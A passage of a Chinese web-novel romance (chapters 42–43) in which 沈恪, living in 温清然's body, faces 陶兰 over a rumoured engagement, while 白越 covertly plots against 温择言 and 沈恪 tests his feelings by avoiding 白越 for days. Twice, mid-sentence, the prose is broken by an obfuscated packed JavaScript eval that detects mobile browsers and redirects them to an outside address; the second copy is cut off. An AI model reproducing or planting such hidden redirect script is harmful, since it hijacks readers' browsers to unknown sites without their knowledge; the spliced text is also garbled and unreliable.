月光照在他背上,勾出绷紧的线条。太紧了,像一张快拉断的弓。肩胛骨随着呼吸起伏,越来越快。 被子底下,不知道他的手在干什么,床单被他攥得皱成一团。 一月的夜,枕头凉得透心。他把额头抵上去,想借那点凉,压一压身体里烧起来的那团火。呼吸越来越重,越来越乱,喉咙里有什么东西在往外涌,被他死死压住。 黑暗里,有另一种声音。被极力压着的,从喉咙深处挤出来的,断断续续。有时重,有时轻,有时突然停住,像是被什么掐断了。 他的肩膀开始发抖。汗从额角滑下来,滴在枕头上,洇开一小片深色。 然后是一声闷哼。被他压在喉咙里,闷得人心里一颤,像有什么东西碎了一角。 黑暗里,他张了张嘴。不知道该说什么,只是想喊那个名字。那个在心里叫了无数遍,却从不敢当着人面叫的名字。 “沈……” 刚出声,他就咬住了。 不行。 不能叫。 他把后半截字咽回去。可那名字卡在嗓子眼,上不来下不去,烫得他难受。 实在忍不住了。 “……沈恪。” 两个字从喉咙里挤出来,压得极低,像在对自己说,又像在对黑暗说。 就在这时—— “白越?” 一个声音从身后传来。 白越的身体猛地僵住。 沈恪迷迷糊糊睁开眼,看见白越背对自己,肩膀绷得死紧,睡衣后背洇湿了一小块。 “白越?”他又叫了一声,声音软糯黏糊,带着没睡醒的鼻音,“你在干嘛……?” 42. 我喜欢他 黑暗里,白越的声音戛然而止。 他整个人僵在那里,连呼吸都忘了。 “白越?” 沈恪的声音又响起来,软软黏黏的,迷迷糊糊的。 白越的心跳瞬间飙上去。 他听到了吗?听到多少?听到那句“沈恪”了吗?还是只听到了别的? 脑子里念头乱撞,快得他抓不住任何一个。他只知道自己后背的汗还没干,睡衣湿哒哒地贴在皮肤上,被子里乱七八糟的,而他…… 他低头看了一眼。 没了。 彻底没了。 也行,至少沈恪不会看出有什么不对。 但脑子里那根弦还在抖。 他听见了。他叫自己名字了。他往这边凑了。 那一瞬间,白越脑子里只有一个念头,把他拉过来,让他知道自己在喊谁,让他那张嘴只叫自己的名字。 但他没有动。 他只是深吸一口气,把那个念头压下去,在心里又记了一笔。 以后慢慢算。 “白越?”沈恪又叫了一声,这次声音近了一点。他动了动,往这边凑了凑。 白越转过身,脸上挂着和平日里别无二致的笑,声音也尽量正常:“……嗯?” “你是不是叫我?”沈恪的声音含糊的像说梦话。 白越的笑容僵住了。 他听到了? 脑子里那根弦瞬间绷到最紧。 “……没有,你听错了,宝宝。”他听见自己说,声音居然还算稳,“我做噩梦了,说了梦话。” 沈恪哦了一声。然后他翻了个身,往白越这边蹭了蹭。温热的身体贴上来,手臂搭在白越腰上,脸埋进他怀里。 “要做好梦哦……”沈恪嘟囔了一句,声音越来越低,然后没了动静。 呼吸变得均匀绵长。 睡着了。 白越僵在那里一动不敢动。沈恪的呼吸打在他敞开的领口处,一下一下,轻轻的,温热的。那只手搭在他腰侧,没什么力气,但就是没松开。 他睡着了。他什么都没发现。他抱着我。 白越闭上眼,吐出一口气。 那一口气里,有逃过一劫的庆幸,有被人抱着的满足,还有一点点他自己都不愿意承认的心虚。 卑劣吗?大概吧。趁人睡着做那种事,喊他的名字,想那些不该想的东西。可这个人什么都不知道,还在睡梦里往他怀里钻。 白越伸出手,轻轻覆上沈恪搭在他腰侧的手,握紧。 那些念头还在。但这一刻,他只想这样抱着他,抱着那个听见他在喊他、就迷迷糊糊爬起来找他的沈恪,抱着那个什么都不知道、却还是会下意识往他怀里钻的小鹌鹑。 不知道过了多久。 手机震了一下。 沈恪迷迷糊糊地摸过来,眯着眼睛看了一眼。是祈愿发来的消息: 【Yuan】听说陶兰回国了。 沈恪一呆。 陶兰?那个在寿宴上人人都说要和他订婚的人? 他还没来得及回,祈愿的消息又来了: 【Yuan】你小心点。 沈恪看着那行字,困意里混进一点说不清的滋味。 小心什么?为什么要小心? 他想回“为什么”,但手指太沉了,屏幕上的字开始模糊。他把手机放下,往白越怀里又靠了靠。 白越的手臂收紧了一点,下巴在他发顶蹭了蹭。 好暖和。 沈恪闭上眼睛。 明天再说吧。 窗外的天渐渐泛白。 白越再醒来时,阳光已经透过窗帘缝隙落进来。沈恪还在他怀里,睡得正沉,睫毛垂着,呼吸又轻又浅。 他没动,就那么看了很久。 后来是沈恪的闹铃响了,才把两个人从那种安静里拽出来。等收拾好出门,已经是上午。 *** 车停在别墅区门口的时候,阳光铺满了整条街。 白越把车停好,送沈恪走到别墅门口。沈恪还在打哈欠,眼睛眯着,头发翘起来一撮,整个人看着还没睡醒。他刚走到门口打算解锁人脸,余光里忽地瞥见一个人影。 是个二十上下的女生。红色大衣,黑色长靴,双手抱胸靠在墙上。个子不高,但站得笔直。五官不算惊艳,眉眼间却有股利落的劲儿,像那种从小没人敢惹的类型。 “富公噢,住这么大个房子?”见沈恪终于回来了,那人开口,听不出是夸还是讽,“还是一如既往的奢侈啊。” 沈恪看看她,又看看白越,再看看她。 谁? “你好,你是……?” 那人的眉毛挑了一下。 “贵人多忘事啊温清然。”她往前走了半步,盯着他,“追我的时候情话一套一套的,我去国外上两年学回来,你就把我忘了?” 她说话时嘴角噙着笑,但那笑没到眼睛里。眼睛是亮的,看人的时候直来直去。 “就是你到处跟人说我们要订婚了?” 原来她就是陶兰。 沈恪忽地感到一阵无力。 温清然这个男女通吃的家伙到底惹了多少情债? 从廖辰到于送风,从那些莫名其妙的情人到眼前这个红大衣女生,怎么每一个都是来找他算账的?他知道自己占了别人的身体,替人挡灾是应该的。可挡得多了,还是会委屈。 凭什么呢?怎么挨骂的都是他。 他在心里偷偷给那个躺在病床上的渣男来了一拳。 都怪你。 那人当然不会回应他。所以沈恪只能把那股委屈咽回去,看着眼前这个来势汹汹的女生。 “说话,温清然。” 沈恪下意识往后退了一步,然后撞上一堵人墙。 白越的手扶住他的肩,稳稳的。 陶兰的目光在白越脸上转了一圈,笑了:“哟,看着比以前阳光多了,一时没认出来,这不白少爷嘛。” 白越颔首,笑容得体:“陶小姐。” 陶兰没接那声称呼,只是盯着他,语气慢悠悠的:“前两年你把我底下那批搞科研的挖走的时候,可没这么温温柔柔的喊过我陶小姐。” 白越还在笑。只是那个笑,忽然不知道该往哪放了。 “怎么现在,你还跟我传闻中的未婚夫走在一起了?” 她把“未婚夫”三个字咬得很重,目光在两人身上又转了一圈。 “现在变纯良了——哦,因为谈恋爱了?” 沈恪一噎。 未婚夫? 他下意识想解释,但话到嘴边又咽了回去。 算了,越描越黑。 陶兰看着他那副欲言又止的样子,忽然笑出了声。 “没想到你俩还真谈上了。” 她又往前走了半步,语气里带着一点玩味:“你未婚妻回来了,你怎么不笑啊,是不高兴吗?” 那确实不太高兴。 沈恪摇头:“这个消息我也不知道是怎么传出去的。” 陶兰盯着他看了两秒,然后收回视线,往大门那边努了努嘴。 “等了一晚上了。”她顿了顿,目光又转回来,“不请我进去坐坐?” 沈恪顺着她指的方向看过去—— 草坪上搭着一顶小山似的帐篷,橙色的,在晨光里格外显眼。 沈恪:“……” 她真的就这么……睡了一晚上?! 什么富家千金荒野求生真人秀啊。 沈恪张了张嘴,想问晚上睡帐篷冷不冷,但对上陶兰那张“你再废话试试”的脸,识趣地咽了回去。 他下意识回头看白越,眼神里全是“怎么办怎么办怎么办”。 白越握着他的手,唇边漾开笑意。 “请进。” *** 陶兰走进客厅,四下打量了一圈。然后她挑了张最显眼的单人沙发,一屁股坐下,翘起二郎腿,鞋尖对着沈恪。 沈恪站在原地,手还被白越握着,不知道该坐还是该站。 “坐啊。”陶兰抬了抬下巴,“这是你家,你站着干嘛?” 沈恪这才反应过来,拉着白越在对面沙发上坐下。 刚坐下,陶兰就开了口。 “说说吧。” “说……说什么?” 陶兰被逗笑了:“装傻?” 沈恪更懵了。 陶兰放下腿,身体前倾,瞪着他:“订婚的事,是你传出去的?” 怎么又在说这个了。 “我知道大家都在说我要订婚。”沈恪看着她,眼神干净得没有一丝躲闪,“但那些话不是我说的。” “你不信我也没办法。”声音闷闷的。 “那你说是谁说的?” “我不知道。” “你不知道?然后所有人都知道了?” 沈恪听出她话里的刺。他想起老爷子说过的话,眉头皱了起来。 “可能是……”他想了想,“那几个,温择言他们?还有……阿妈?” 陶兰眼神微动。 沈恪连忙摆手:“但我真不确定!就是瞎猜的!” 陶兰看着他,看了好几秒。然后她靠回沙发里,语气比刚才缓了些。 “温清然,我是想相信你,但你这人吧……”她上下打量了他一眼,“信用破产多少年了,自己心里没数?” 沈恪没说话。 他知道她说的没错。换作是他,还没回国就被人造谣要嫁人,造谣要嫁人的对象还是温清然,他也会气疯。 她已经够客气了。 可他还是有点难受。 那些目光,那些话,那些“恭喜”。一件他根本不知道的事,要他扛,还得笑着扛。 偏偏他还不能说。 白越的声音在这时候响起来。 “陶小姐。”他的语气还是那么温和,但握着沈恪的手紧了一紧,“你是怎么得知阿然住处的?” 陶兰的目光转向他。 “别人说的呗,不然还能是……” 她的话忽然顿住。 她看了看沈恪,对方正一脸茫然地回望过来,什么都不知道。 又看了看白越,他脸上挂着笑,眼底却没什么温度。 然后她像是想通了什么,眉毛动了一下。 “砰!” 她一巴掌拍在茶几上,杯子都跟着跳了跳。 “拿我当枪使?他们是不是活腻了!” 沈恪被吓得一抖,整个人往后缩。 “合着狗东西还不止一个!”陶兰咬着牙。 沈恪一脸茫然,凑到白越耳边小声问:“她怎么了?” 白越没说话,轻轻勾了勾他的掌心。 陶兰骂了几句,情绪慢慢平复下来。她重新坐下,看着白越,语气比刚才冷静多了。 “拿我当枪使的那群人一个都跑不掉。但是你们这边,”她视线扫过二人,“是不是也该给我一个交代?” 沈恪张了张嘴,不知道该说什么。 他知道这是在要他自证,可他拿不出证据。 他咬着唇,手指在膝盖上慢慢收拢,攥成拳头 然后一只手覆上来。 温热的,干燥的,从他的拳头上慢慢滑进去,把那几根收紧的手指一根一根掰开。 “没事的。”白越的声音在耳边,轻轻的,“交给我。” 他抬起头。 白越已经转向陶兰。 “陶小姐,你有没有想过一个问题。”他的声音不紧不慢,“阿然传这个谣言,对他有什么好处?” 他顿了顿,露出一个浅浅的笑,像是真的觉得这事有点好笑、有点费解:“他和你结婚,能得到什么?温家和陶家的联姻?” “阿然的性子你也知道。他要真图这个,早就满世界嚷嚷了。” 陶兰的眼神动了一下。 白越没停:“何况他现在和我在一起,和白家在一起。温家已经有一条路了。再多一条陶家的路,对他来说没那么重要。” “但有人不一样。” “温择言负责的芯片材料业务,是温家最赚钱的板块之一。寿宴上的事你应该也听说了,老爷子最近有意让阿然慢慢接手。有些业务重叠,有些客户重叠。” “他在这个位置上坐了五年。”他看着陶兰,“你觉得他会甘心让出来?” 陶兰的眼神彻底变了。 “你的意思是……” “我没说是他。”白越笑了笑,“我只是说,有人有动机。” 陶兰沉默了几秒。 然后她抬起头,看着白越。 “你挺行啊。”她倏地笑了,那笑容不冷不热的,“温择言的事你知道得一清二楚,那你呢?” 白越看着她,笑得有点轻,有点无奈。 “图他。” 沈恪在旁边缓缓瞪大了眼睛。 他愣在那里,像是没听清,又像是在确认自己没听错。 那两个字落进耳朵里,轻轻的,但他花了三秒才反应过来是什么意思。 图他。 “他”是谁?我? 一张脸咻地染上了红晕,沈恪慌忙低下头,一眼便瞧见白越的手垂在身侧。骨节分明的,不久前还握着他的。 他伸手,用指尖轻轻碰了一下。 只是碰了一下。 心跳就被偷走了半拍。 气氛刚软下来一秒,陶兰的声音就插了进来,硬邦邦的。 “喜欢?”陶兰嗤了一声,“你们这种人,懂什么叫喜欢吗?” 白越的笑容没变,但他往前倾了倾身。就那么一点点,但沙发上的距离一下子被压短了。 “我证明不证明的,其实不重要。”他的声音还是温和的,但不知道为什么,陶兰觉得后颈莫名发凉,“阿然知道就行。” 他的目光没从她脸上移开:“你觉得我不懂,那你说说,什么样叫懂?” 沈恪愣住了。他知道陶兰在骂白越。那句“你们这种人”,刺的不只是他。 他下意识看向白越。白越还是那副温和的笑,看不出什么。但握着他的那只手,好像紧了一点。 就那么一点点。 如果不是一直被他牵着,沈恪可能都感觉不到。 他不能让白越一个人被骂。那些话落在白越身上,他心里不舒服。 于是他想也不想地开口了。 “他对我好不好,我自己知道。” 陶兰挑眉。 “是你说的一码事归一码事。”沈恪抬起头,看着陶兰,声音不大,但很坚定,“订婚的事情,我们可以谈,。” “但我和白越……那是另一回事!”他把白越的手握得更紧了一点,“我们不用你管!” 说完才反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265411|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来,心跳咚咚的,下意识想往后缩。 但他没缩成。 白越的手稳稳地回握过来,没让他躲。 沈恪只好硬着头皮,往白越肩膀后面缩了缩。只露出两只眼睛,像只躲在主人身后偷看的小鹌鹑,小声问道:“所以就确定是温择言传的谣言了吗?为了什么啊?” 陶兰一脸嫌弃地看了他一眼:“帅不过三秒。” “还以为之前你是做贼心虚在装傻,结果是真变傻了。”她的表情有些难以置信,“不会真是谈恋爱谈的吧?” 沈恪还没来得及反驳,白越已经开口了。 “谈的。”他说,语气很轻,但很认真,“怎么了?” 沈恪呆住了。 他知道是这在应付陶兰,可白越说的时候,目光落在他身上,灼灼如阳,照得他心头发焦。 沈恪将想说的话咽了回去,耳朵又开始发烫。 然后白越低下头,在他耳边轻声补了一句:“不是应付。” 从来就不是。 那声音太轻了,轻得像只说给他一个人听。 沈恪的呼吸停滞一瞬。 他怎么知道自己在想什么? 他看了一眼白越。白越的手还握着他的,温热的,稳稳的。 他想起刚才白越说“我喜欢他”的时候,那语气里的认真。 沈恪抿了抿唇。 他忽然想,他在替温清然活着,替温清然被骂被质疑。那要不要也替温清然学着懂这些? 不对。 不是为了替谁。 是为了他自己。为了能和这个人站在一起的时候,不总是被他护着。 他深吸一口气,抬起头:“我应该能猜到是谁。” 刚才白越说的那些,他都听进去了。 陶兰看向他。 他的声音微微有些抖:“最有可能的是温择言,然后是阿妈。” “证据?” “没有。”沈恪摇了摇头,“但温择言之前找过于送风,就我的前男友。寿宴那天,他特意带着于送风来我这边,说了些不好听的话,想要挑拨我和白越。” 他想起寿宴那天于送风凑到他耳边说的那些话。那些话他现在还记得。 他握紧了白越的手。 “还有阿妈,她亲口提过想让两家结亲,我没答应。” 沈恪抿了抿唇,又补了一句,声音比刚才大了一点,像是在努力学着谁的口气:“我不会订婚的!我现在只想和白越在一起!” 说完,他一直瞪着陶兰。 瞪了三秒。 陶兰没反应。 沈恪继续瞪。 陶兰还是没反应。 他自己先绷不住了,眨了眨眼,气势泄了一半,下意识往白越那边缩了缩。 缩到一半,忽然反应过来…… 这话怎么听着像在表白?! 他的脸腾地红了。 陶兰看着他,看了好几秒。然后她靠回沙发里,语气里多了一点别的东西:“行啊,浪子回头金不换啊。” 沈恪没说话,但他偷偷松了口气。 他下意识往白越那边看了一眼。 白越正含笑望着他。 四目相对的那一瞬间,那双狐狸眼弯了弯,眼底漾开一点光,像是有什么东西被轻轻点亮了。 然后他伸手,在沈恪头上揉了一下。那一下揉得很轻,但沈恪觉得,刚才那些紧张好像都没那么重了。 “我去拿个东西。” 白越站起身,往楼上走。 沈恪看着他的背影,低下头,看着自己的手心。 他刚才替白越说话了。 他刚才怼人了诶! 沈恪自己都愣了一下。 然后他偷偷扬起嘴角,很快又抿住,像是不小心做了一件很厉害的事,怕被人发现似的。 其实也没那么难嘛。 他在心里悄悄得意了一小会儿。 他想,下次他还能做得更好。 下次,他要怼得更凶一点。 几分钟后白越下来,手里多了一张便签纸。他握着笔,在上面写下一串数字,动作很慢,像是怕写错。写完他看了一遍,确认无误,才递给陶兰。 “这是温氏内部监察部的联系方式。”他顿了顿,补了一句,“查出来的东西不用告诉我,用在对的人身上就行。” 陶兰接过,看了他一眼,鼓了鼓掌:“虽然变成恋爱脑了,但脑子还是聪明的。” 陶兰把便签纸收进口袋里,站起身,风风火火地往门口走:“行,等我去查查虚实。要真是温择言那瘪三干的,我非得给他整掉一层皮不可。” “但如果让我发现是你俩在耍我……” 她指了指白越:“你埋南极。” 又指了指沈恪:“你,北极。” 话音落地,人已经出了门。 只剩大门虚掩着,晃了晃,没关紧。 沈恪以为这件事终于结束了,门后又突然探出个脑袋。 “对了,温清然。” 沈恪抬头。 陶兰笑了笑:“你刚才护他的样子,还挺像那么回事的。” 门关上了。 沈恪呆在那里。 像那么回事?像什么回事? 他想了三秒,没想明白。 但心跳好像快了一点。 他低下头,看着自己的手心。 “她……就这么走了?” 白越笑眯眯地拍了拍他的脑袋:“嗯,解决了。” 沈恪眨眨眼,还没反应过来。但他觉得,自己也没那么委屈了。 手机又震了一下。 沈恪低头一看,是祈愿。 【Yuan】还活着吗? 沈恪回答得很快。 【然】活着。 【然】她问了几个问题,然后和风火轮一样飞走了。 对面没再回。 白越看着那扇关上的门,眼底的笑意淡了一点。 温择言。 张强那种人,一个电话就够了。报警,立案,判刑,流程走完人就进去了。再恨,也只能在监狱里骂几句。 但温择言不一样。 他有脑子,有手段,有在温家攒了五年的根基。动他,得慢慢来。 巧的是,今天刚好有人送了一把剪刀。 陶兰。她急,她躁,她正窝着火。让她去查,去闹,去掀温择言的桌子,名正言顺。 她是受害者,是苦主,是被造谣的未婚妻。 她出手,谁都挑不出理。 白越只需要在后面看着,偶尔递根火柴,让火烧得再旺一点。 等温择言被烧得焦头烂额的时候,他再慢慢走过去踩一脚。 快了。再让他跳几天。 等火灭了,他再去看看烧成什么样。 要是还没死透,就再添一把。 他低头看了一眼沈恪。那人还懵着,什么都不知道。 白越收回视线。 得把路铺好,把欺负他的钉子全部拔掉。 等一切都妥当了…… 到时候,他会让沈恪知道的。 告诉他那些他不知道的事。 告诉他,是谁一直在后面护着他。 告诉他,他欠自己多少,又要用多久来还。 多久都行。 他有一辈子。 43.我喜欢你 沈恪坐回沙发上时,陶兰那句话还在脑子里晃啊晃的。 “你刚才护他的样子,还挺像那么回事的。” 像那么回事?像哪回事? 他之前也护过别人,就是祈愿。台球馆那次,他挡在祈愿前面,替他挨了一棍子。那时候什么感觉?疼,还好祈愿没出事。然后呢?没了。 可今天不一样。 只是听见有人说白越,甚至都称不上骂人,他就已经有点受不了。 那感觉很奇怪。像被人往胸口锤了一拳,不疼,但那只拳头堵在那里,让人喘不上气。然后嘴巴自己就动了,等回过神来,话先落了地,心跳才慢悠悠地追上来,咚咚咚地撞个不停。 为什么? 他想了半天,想不明白。 但他记得一件事:祈愿问过的那句话。 “你不是真喜欢上白越了吧?” 当时他说“不不不不怎么可能”,他怎么可能喜欢上别人的男朋友。 可现在…… 沈恪抿了抿唇。 他好像……不太确定了。 喜欢一个人是什么感受呢? 沈恪想了半天,脑子里一片空白。 他偷偷觑了一眼白越。白越正靠在沙发另一边看书,侧脸安静,睫毛垂着,好像什么都没发现。 沈恪低下头,摸出手机。 要不……搜一下? 搜索结果跳出来。 第一条赫然写着:当你看到这句话的时候,恭喜你,你已经掉入爱河了。 沈恪:“……” 什么嘛!哪有这么绝对的说法! 他刚要继续往下翻,忽然感觉后背贴上来一片温热。 什么时候过来的?明明刚才还在沙发那头看书。 沈恪手一抖,手机差点飞出去。还没等他回头,声音已经在耳边响起来,近得不像话。 “宝宝在查什么?” 白越的下巴搁在他肩上,呼吸拂过耳廓,痒痒的。那双眼睛就贴在旁边,沈恪余光都能看见那弯着的弧度。 沈恪整个人像被烫了一下,手机往怀里一揣,整个人往旁边缩:“不、不用!没什么!” 白越没有追。 他只是收回身子,又靠回沙发里,拿起书继续看。 好像什么都没发生。 沈恪心跳咚咚的,偷偷又看了他一眼。 白越没看他。书页翻过一页,安静的,自然的。 但嘴角弯着一点弧度。 沈恪忽然有点发毛。 他说不上来为什么。就是觉得……刚才那一瞬间,白越好像根本没在看书。从自己坐在这里开始,他一直都在看自己。 只是自己没发现。 他偷偷又看了一眼。 白越还是在看书。 沈恪眨了眨眼。是他想多了吗? 他不太确定。 但他把手机往自己这边挪了挪,继续往下滑: 喜欢一个人会不自觉地想ta;看到ta的消息会开心;想和ta待在一起;会吃醋。 沈恪一条一条看下去,越看越心虚。 会不自觉地想……好像有。看到消息会开心……好像也有。想待在一起……他现在就在白越家。 吃醋…… 沈恪盯着这两个字看了好几秒。 吃醋是什么感觉? 他好像……没吃过。 祈愿来找他的时候,他没觉得不舒服。安阳勾肩搭背的时候,他也没多想。就是有一次,白越和顾云岚多说了几句话,他心里好像动了那么一下。就一下,很快,他自己都没来得及抓住。 这算吃醋吗?他不太确定。 他又想起白越那些时候的样子。祈愿来的时候,白越在旁边笑眯眯的,那个笑黏黏糊糊的,像挂着什么别的东西。于送风说那些话的时候,白越握着他的手,紧了一瞬。温择言叫“大哥”的时候,白越站在旁边,什么都没说,但沈恪就是觉得……他不太高兴。 沈恪眨了眨眼。 白越好像……经常吃醋? 他自己好像……从来没吃过白越的醋。 这是什么道理? 他想了半天,没想明白。 要不……换个方法? 他刷着刷着,忽然看到一条评论。 “我试过这个方法!故意三天没理喜欢的人,结果他那么傲娇的人,跟我表白了!还说想我。” 沈恪愣了一下。 三天不理?想他? 他盯着那条评论看了好几秒。 好像……可以试试? 要是他三天不见白越,会不会想他? 要是想了,那就是喜欢?要是不想,那就是不喜欢? 沈恪想了想,觉得这个逻辑好像没问题。 他抬头看了一眼白越。白越还在看书,侧脸安静,什么都不知道。 沈恪悄悄弯了弯嘴角。 那就试试。 *** 第一天,白越发消息: 【白越】宝宝,今天一起吃饭吗? 沈恪看着那行字,手指悬在屏幕上。 按照实验设计,他应该拒绝,他现在还不能见白越,因为三天还没到。 他咬了咬下唇,回: 【然】今天……有点事,在图书馆,我就不去了。 发完他就把手机扣在桌上,心跳咚咚的。 三秒后,他又把手机翻过来。看了一眼,没回。又扣上。 三秒后,又翻过来,白越回了。 【白越】什么事呀? 【然】就……有点事。 【白越】好。 【白越】那晚上我去接你? 这怎么拒绝啊!沈恪想了半天,回了个: 【然】不用了,我自己回去。 对面沉默了几秒。然后: 【白越】那宝宝路上小心。 沈恪盯着那句话,总觉得有哪里不对。但他说不上来。 晚上回到家里,沈恪躺在床上,翻来覆去睡不着。 他脑子里一直在想:白越现在在干嘛?吃饭了吗?一个人吗?会不会也觉得…… 不对不对。他赶紧打住。这才第一天,想什么想! *** 第二天,白越发消息。 【白越】宝宝,今天天气不错,要不要出去走走? 沈恪看着窗外阴沉沉的天,陷入了沉默。这也叫天气不错? 他犹豫了一下,还是回: 【然】不了,有点累。 【白越】那好好休息。 【白越】想吃什么吗?我给你送过去。 沈恪愣了一下。送过来?那岂不是要见面?不行不行,实验不能中断。 【然】不用了……我自己会吃的。 对面没有立刻回复。 沈恪盯着屏幕,等了一会儿,有点心慌。他说错什么了吗? 手机终于震了。 【白越】好。 沈恪看着那个“好”,总觉得白越好像……不太开心? 他翻了个身,把脸埋进枕头里。 才第二天,不要心软! *** 第三天,沈恪正在查资料,手机忽然响了。 白越的电话。 沈恪愣了一下,接起来:“喂?” 电话那头安静了一秒。 然后白越的声音传来,轻轻的,带着一点小心翼翼的试探:“宝宝……今天有空吗?” 沈恪张了张嘴。他想说“有”,想说“怎么了”,想说什么都行。 但他记得自己在做实验。 “今天要写论文,要补课时分。”他小声说。 电话那头又安静了。 然后白越的声音再次响起,更轻了,像是怕惊扰到什么:“那我……不打扰你了。” 沈恪心里一紧:“白越……” 话还没说完,电话已经挂了。 沈恪握着手机,愣了好几秒。他……是不是做错了? 他犹豫了一下,想打回去。 手机先响了。是白越发来的消息: 【白越】没事的宝宝,你忙你的。 【白越】我一个人可以的。 【白越】【小猫乖乖.jpg】 沈恪的心里忽然揪了一下。 一个人……可以的? 他盯着那个小猫表情,越看越觉得白越好像……很可怜。 他……是不是做错了? *** 第四天。 沈恪没等到白越的消息。 他盯着手机屏幕,每隔五分钟看一眼,每次亮起来都不是白越。不是祈愿发来了沙雕视频,就是温清然又在分享下头链接。 他一个都没回。 十点。十一点。十二点。 还是没有。 沈恪开始慌了。他把手机翻来覆去看了八百遍,确认没有漏掉任何消息。 还是没有。 他忍不住了。 【然】在吗? 对面秒回。 【白越】在。 【白越】怎么了宝宝? 沈恪看着那行字,忽然不知道该说什么。 他犹豫了一下,打字: 【然】没什么……就是想问问你今天吃什么了。 【白越】还没吃。 沈恪愣了一下。 【然】怎么还没吃?都下午了! 【白越】宝宝不喜欢我了,吃不下去。 沈恪的手一抖,手机差点摔地上,脸腾地烫起来。 但他又看了一眼时间——下午三点。从早上到现在,一直没吃?就因为在想他? 沈恪忽然觉得心里又甜又酸,说不清什么滋味。 【然】你、你先吃饭! 【白越】嗯。 【白越】都听你的。 沈恪把手机扣在桌上,捂着脸,心跳快得不行。 他想,实验失败了。 他才几天没见白越,就已经想他想得不行。 最后一天!再实验最后一天就能得出结果了! *** 第五天。 沈恪主动发了消息: 【然】今天天气不错。 发完他就后悔了。这是什么傻话! 白越秒回。 【白越】嗯,天气很好。 【白越】想和宝宝一起看。 沈恪看着窗外阴沉沉的天,陷入了沉默。这也叫天气不错? 但他看了看那条消息,又看了看窗外,忽然想:白越是不是……随便找了个理由? 这个念头让他心跳又快了一拍,嘴角不受控制地往上翘。 他回: 【然】那……晚上? 【白越】我来接你。 沈恪捧着手机,笑了一下。 他开始等晚上。 下午变得好长。他看了八百遍手机,又看了八百遍窗外的太阳,太阳就是不下山。 终于,白越的车停在楼下。 然后他想起一件事。 他还没确定自己是不是真的喜欢白越呢。 实验……好像失败了? 算了。不重要了。他只想见到他。 *** 晚上白越来接他的时候,沈恪发现他憔悴了。 脸白得不像话,眼底有青灰,整个人像被抽走了什么。 沈恪心里猛地一紧。 那一瞬间,他脑子里只有一个念头:他这样是因为我。 因为他在等我。 这个念头落下去,另一个念头浮上来,快得他来不及按住: 我喜欢他。 不是“好像”,不是“可能”,就是喜欢。喜欢到看他憔悴就受不了,喜欢到这三天不见他,心里空得发慌,喜欢到刚才坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那只手有点凉,但抱得很紧。白越的下巴抵在他肩上,呼吸拂过耳廓,声音闷闷的,带着一点沈恪从没听过的哑: “宝宝知道自己在说什么吗?” 沈恪把脸埋在他肩上,闷闷地嗯了一声。 “那再说一遍。” “我喜欢你。” “再说一遍。” “……我喜欢你。” “再说一遍。” 沈恪被他说得脸烫得厉害,小声嘟囔:“你是故意的吧!” 白越没说话,只是把他抱得更紧了一点。 沈恪犹豫了一下,伸出手,轻轻环住白越的背。 “对不起。”他把脸埋在白越肩上,声音闷闷的,“这几天让你等那么久。” 白越还是没说话。 但沈恪感觉到,他的手指在自己的背上轻轻蹭了蹭,一下,一下,像是在说什么。 他想,那应该是“没关系”。 *** 回到家,沈恪躺在床上,翻来覆去地睡不着。 他摸出手机,点开温清然的对话框。 【然】问你个事。 【W】? 【然】喜欢一个人是什么感觉? 温清然的回复来得很快。 【W】想睡他 沈恪:“……” 【W】想天天睡他 【W】想让他只给自己睡 【然】…… 【W】怎么了?你终于要开窍了? 下头。 【然】不该问你的 温清然发来一个“懂的都懂”的表情包。 沈恪以为对话要结束了,正准备放下手机,对面又弹出一条消息。 【W】不过吧,也有另一种 【W】看你想搞变态还是想搞纯爱 沈恪眨了眨眼。 【然】搞变态和搞纯爱是什么? 【W】取决于你想进入的是身体还是心里 【W】后者的话,我没体验过,但感觉应该会很不错 沈恪看着那行字,忽然不知道该回什么。 这是温清然? 【W】操,说这些干嘛 【W】反正就是,喜欢一个人,不一定非得上床 【W】也可以只是想……看着他好好的 【W】你问这么多干嘛,你喜欢谁? 【W】说出来听听,没准我还能给你支个招 【然】不用了 【W】不跟你开玩笑,我追人的成功率还是挺高的 【W】怎么不回我 【W】你不会真和祈狗说的一样喜欢白越吧 【W】爱卿为何一言不发,难道我就不值得你敷衍一下吗 【W】算了,不发就不发,其实我也没有那么想给你支招 【W】哈哈,搞笑 【W】睡了 【W】别烦我 过了一分钟。 【W】【直播分享:点进来就不要走了,185男大在线健身】 沈恪:“……” 这人又在发什么癫。 沈恪把手机放下,盯着天花板。 他对白越的想法,不是温清然说的那种“想睡”。是另一种。是想见他。想听他说话。想被他牵着手。想每天醒来都能看见他。 是这三天没见他,心里空落落的。是刚才见到他的那一刻,心跳快得像要从胸腔里蹦出来。 他想,他好像真的喜欢上白越了。 然后他忽然想起一件事。 他是温清然。白越喜欢的是“阿然”,不是他。 那他要用谁的身份和白越恋爱? 沈恪愣住了。 那个念头一冒出来,就再也压不下去了。他翻了个身,把脸埋进枕头里。 好难。真的好难。 过了很久,他摸出手机,重新点开温清然的对话框。 【然】我想跟你说件事。 【W】说。 【然】我不想再当温清然了。